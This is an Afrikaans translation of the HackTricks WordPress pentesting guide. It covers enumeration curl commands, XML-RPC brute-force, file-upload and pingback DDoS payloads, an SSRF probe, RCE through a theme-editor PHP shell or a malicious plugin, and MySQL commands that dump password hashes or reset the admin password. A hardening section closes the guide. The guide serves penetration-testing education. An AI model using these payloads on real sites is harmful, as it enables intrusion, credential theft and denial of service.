20 KiB
Wordpress
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai Kyk na die INSKRYWINGSPLANNE!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek Die PEASS Familie, ons versameling van eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou haktruuks deur PRs in te dien by die HackTricks en HackTricks Cloud github-opslag.
Gebruik Trickest om maklik te bou en werkstrome outomatiseer wat aangedryf word deur die wêreld se mees gevorderde gemeenskapshulpmiddels.
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}
Basiese Inligting
Opgelaaide lêers gaan na: http://10.10.10.10/wp-content/uploads/2018/08/a.txt
Temalêers kan gevind word in /wp-content/themes/, so as jy 'n bietjie php van die tema verander om RCE te kry, sal jy waarskynlik daardie pad gebruik. Byvoorbeeld: Deur die twintigtwintig-tema te gebruik, kan jy die 404.php-lêer toegang in: /wp-content/themes/twentytwelve/404.php
'n Ander nuttige URL kan wees: /wp-content/themes/default/404.php
In wp-config.php kan jy die hoofwagwoord van die databasis vind.
Verkieslike aanmeldingspaaie om te kontroleer: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
Hoof WordPress Lêers
index.php
license.txt
bevat nuttige inligting soos die weergawe van WordPress wat geïnstalleer is.wp-activate.php
word gebruik vir die e-posaktiveringsproses wanneer 'n nuwe WordPress-webwerf opgestel word.- Aanmeldingsgids (kan hernoem word om dit te verberg):
/wp-admin/login.php
/wp-admin/wp-login.php
/login.php
/wp-login.php
xmlrpc.php
is 'n lêer wat 'n kenmerk van WordPress verteenwoordig wat data moontlik maak om oorgedra te word met HTTP wat as die vervoermeganisme optree en XML as die enkoderingsmeganisme. Hierdie tipe kommunikasie is vervang deur die WordPress REST API.- Die
wp-content
-map is die hoofgids waar plugins en temas gestoor word. wp-content/uploads/
Is die gids waar enige lêers wat na die platform gelaai is, gestoor word.wp-includes/
Dit is die gids waar kernlêers gestoor word, soos sertifikate, lettertipes, JavaScript-lêers, en widgets.wp-sitemap.xml
In Wordpress-weergawes 5.5 en hoër, genereer Wordpress 'n sitemap-XML-lêer met alle openbare plasings en openbaar navraagbare plasingstipes en taksonomieë.
Na-uitbuiting
- Die
wp-config.php
-lêer bevat inligting wat deur WordPress benodig word om met die databasis te verbind, soos die databasisnaam, databasisgasheer, gebruikersnaam en wagwoord, outentiseringsleutels en soute, en die databasistabelvoorvoegsel. Hierdie konfigurasie-lêer kan ook gebruik word om DEBUG-modus te aktiveer, wat nuttig kan wees vir foutopsporing.
Gebruikersregte
- Administrateur
- Redakteur: Publiseer en bestuur sy eie en ander se plasings
- Outeur: Publiseer en bestuur sy eie plasings
- Bydraer: Skryf en bestuur sy plasings, maar kan dit nie publiseer nie
- Intekenaar: Blaai deur plasings en wysig hul profiel
Passiewe Opsomming
Kry WordPress-weergawe
Kyk of jy die lêers /license.txt
of /readme.html
kan vind
Binne die bronkode van die bladsy (voorbeeld van https://wordpress.org/support/article/pages/):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta naam
- CSS skakel lêers
- JavaScript lêers
Kry Inproppe
{% code overflow="wrap" %}
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Kry Temas
{% endcode %}
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Haal weergawes in die algemeen uit
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
{% endcode %}
Gebruik Trickest om maklik te bou en werkstrome outomatiseer wat aangedryf word deur die wêreld se mees gevorderde gemeenskapsinstrumente.
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}
Aktiewe opname
Invoegtoepassings en Temas
Jy sal waarskynlik nie in staat wees om al die Invoegtoepassings en Temas te vind nie. Om almal te ontdek, sal jy nodig hê om aktief 'n lys van Invoegtoepassings en Temas te Brute Force (hopelik vir ons is daar outomatiese gereedskap wat hierdie lyste bevat).
Gebruikers
ID Brute
Jy kan geldige gebruikers van 'n WordPress-webwerf kry deur gebruikers-ID's te Brute Force:
curl -s -I -X GET http://blog.example.com/?author=1
Indien die antwoorde 200 of 30X is, beteken dit dat die id geldig is. Indien die antwoord 400 is, dan is die id ongeldig.
wp-json
Jy kan ook probeer om inligting oor die gebruikers te kry deur navrae te doen:
curl http://blog.example.com/wp-json/wp/v2/users
'n Ander /wp-json/
eindpunt wat 'n bietjie inligting oor gebruikers kan onthul is:'
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Merk op dat hierdie eindpunt slegs gebruikers blootstel wat 'n pos geplaas het. Slegs inligting oor die gebruikers wat hierdie funksie geaktiveer het, sal verskaf word.
Merk ook op dat /wp-json/wp/v2/pages IP-adresse kan laat uitlek.
Login gebruikersnaam enumerasie
Wanneer jy inlog by /wp-login.php
is die boodskap verskillend as die aangeduide gebruikersnaam bestaan of nie.
XML-RPC
As xml-rpc.php
aktief is, kan jy 'n geloofsbriek-kragaanval uitvoer of dit gebruik om DoS-aanvalle op ander bronne te lanceer. (Jy kan hierdie proses outomatiseer deur hierdie te gebruik byvoorbeeld).
Om te sien of dit aktief is, probeer om toegang te verkry tot /xmlrpc.php en stuur hierdie versoek:
Check
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
Verifikasie van Gelde
wp.getUserBlogs
, wp.getCategories
of metaWeblog.getUsersBlogs
is van die metodes wat gebruik kan word om gelde te verifieer. As jy enige van hulle kan vind, kan jy iets soos die volgende stuur:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
Die boodskap "Verkeerde gebruikersnaam of wagwoord" binne 'n 200-kode respons behoort te verskyn as die geloofsbriewe nie geldig is nie.
Met die regte geloofsbriewe kan jy 'n lêer oplaai. In die respons sal die pad verskyn (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
Ook is daar 'n vinniger manier om wagwoordkredensiale met behulp van system.multicall
te kragtig, aangesien jy verskeie kredensiale op dieselfde versoek kan probeer:
Bypass 2FA
Hierdie metode is bedoel vir programme en nie vir mense nie, en oud, daarom ondersteun dit nie 2FA nie. So, as jy geldige kredensiale het maar die hoofingang deur 2FA beskerm word, kan jy dalk xmlrpc.php misbruik om met daardie kredensiale in te teken en 2FA te omseil. Let daarop dat jy nie al die aksies kan uitvoer wat jy deur die konsole kan doen nie, maar jy kan dalk steeds tot RCE kom soos Ippsec dit verduidelik in https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s
DDoS of poort aftasting
As jy die metode pingback.ping binne die lys kan vind, kan jy die Wordpress 'n willekeurige versoek stuur na enige gas/hefboom.
Dit kan gebruik word om duisende Wordpress webwerwe te vra om toegang tot een plek (sodat 'n DDoS in daardie plek veroorsaak word) of jy kan dit gebruik om Wordpress te laat aftas van 'n interne netwerk (jy kan enige poort aandui).
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
As jy faultCode met 'n waarde groter as 0 (17) kry, beteken dit dat die poort oop is.
Neem 'n kyk na die gebruik van system.multicall
in die vorige afdeling om te leer hoe om hierdie metode te misbruik om 'n DDoS te veroorsaak.
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
wp-cron.php DoS
Hierdie lêer bestaan gewoonlik onder die wortel van die Wordpress-webwerf: /wp-cron.php
Wanneer hierdie lêer toegang kry, word 'n "swaar" MySQL navraag uitgevoer, wat deur aanvallers gebruik kan word om 'n DoS te veroor.
Ook, standaard, word die wp-cron.php
elke keer geroep wanneer 'n kliënt enige Wordpress-bladsy aanvra, wat op hoë-verkeer webwerwe probleme kan veroorsaak (DoS).
Dit word aanbeveel om Wp-Cron uit te skakel en 'n werklike cronjob binne die gasheer te skep wat die nodige aksies op 'n gereelde interval uitvoer (sonder om probleme te veroorsaak).
/wp-json/oembed/1.0/proxy - SSRF
Probeer om https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net te benader en die Worpress-webwerf kan 'n versoek aan jou rig.
Dit is die reaksie wanneer dit nie werk nie:
SSRF
{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}
Hierdie instrument toets of die methodName: pingback.ping en vir die pad /wp-json/oembed/1.0/proxy bestaan, en as dit wel bestaan, probeer dit om hulle uit te buit.
Outomatiese Gereedskap
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
Gebruik Trickest om maklik en outomatiseer werkafloeie te bou wat aangedryf word deur die wêreld se mees gevorderde gemeenskapsinstrumente.
Kry Toegang Vandag:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}
Kry toegang deur 'n bietjie te oorskryf
Meer as 'n werklike aanval is dit 'n nuuskierigheid. In die CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man kon jy 1 bit van enige wordpress-lêer omkeer. So kon jy die posisie 5389
van die lêer /var/www/html/wp-includes/user.php
omkeer om die NOT (!
) operasie te NOP.
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Paneel RCE
Wysig 'n php van die gebruikte tema (admin-inligting nodig)
Verskyning → Tema-redakteur → 404-sjabloon (aan die regterkant)
Verander die inhoud vir 'n php dop:
Soek op die internet hoe jy daardie opgedateerde bladsy kan bereik. In hierdie geval moet jy hierdie adres besoek: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
Jy kan gebruik:
use exploit/unix/webapp/wp_admin_shell_upload
Inprop RCE
PHP inprop
Dit mag moontlik wees om .php lêers as 'n inprop te laai.
Skep jou php agterdeur deur byvoorbeeld te gebruik:
Voeg dan 'n nuwe inprop by:
Laai die inprop op en druk op Installeer Nou:
Klik op Gaan voort:
Dit sal waarskynlik niks skynbaar doen nie, maar as jy na Media gaan, sal jy sien dat jou dop geüpload is:
Kry toegang daartoe en jy sal die URL sien om die omgekeerde dop uit te voer:
Oplaai en aktivering van skadelike inprop
Hierdie metode behels die installasie van 'n skadelike inprop wat bekend is as kwesbaar en wat uitgebuit kan word om 'n web dop te verkry. Hierdie proses word uitgevoer deur die WordPress dashboard soos volg:
- Inprop Verkryging: Die inprop word verkry van 'n bron soos Exploit DB soos hier.
- Inprop Installasie:
- Navigeer na die WordPress dashboard, gaan dan na
Dashboard > Inproppe > Laai Inprop op
. - Laai die zip-lêer van die afgelaaide inprop op.
- Inprop Aktivering: Sodra die inprop suksesvol geïnstalleer is, moet dit deur die dashboard geaktiveer word.
- Uitbuiting:
- Met die inprop "reflex-gallery" geïnstalleer en geaktiveer, kan dit uitgebuit word aangesien dit bekend is as kwesbaar.
- Die Metasploit-raamwerk bied 'n uitbuit vir hierdie kwesbaarheid. Deur die toepaslike module te laai en spesifieke bevele uit te voer, kan 'n meterpreter-sessie tot stand gebring word, wat ongemagtigde toegang tot die webwerf verleen.
- Dit word opgemerk dat hierdie net een van die baie metodes is om 'n WordPress-webwerf uit te buit.
Die inhoud sluit visuele hulpmiddels in wat die stappe in die WordPress-dashboard uitbeeld vir die installering en aktivering van die inprop. Dit is egter belangrik om daarop te let dat dit onwettig en oneties is om kwesbaarhede op hierdie manier uit te buit sonder behoorlike magtiging. Hierdie inligting moet verantwoordelik gebruik word en slegs binne 'n wettige konteks, soos deurdringende toetsing met uitdruklike toestemming.
Vir meer gedetailleerde stappe kyk na: https://www.hackingarticles.in/wordpress-reverse-shell/**
Na-uitbuiting
Haal gebruikersname en wagwoorde uit:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
Verander administrateur wagwoord:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
WordPress Beskerming
Gereelde Opdaterings
Maak seker WordPress, plugins, en themes is op datum. Bevestig ook dat outomatiese opdatering ingeskakel is in wp-config.php:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
Ook, installeer slegs vertroude WordPress-inproppe en -temas.
Sekuriteitsinproppe
Ander Aanbevelings
- Verwyder verstek admin gebruiker
- Gebruik sterk wagwoorde en 2FA
- Deurlopend hersien gebruikers regte
- Beperk aanmeldingspogings om Brute Force aanvalle te voorkom
- Hernoem
wp-admin.php
lêer en staan slegs toegang intern of vanaf sekere IP-adresse toe.
Gebruik Trickest om maklik te bou en outomatiseer werksvloei aangedryf deur die wêreld se mees gevorderde gemeenskapsinstrumente.
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}
Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat Kyk na die INSKRYWINGSPLANNE!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek Die PEASS Familie, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou haktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.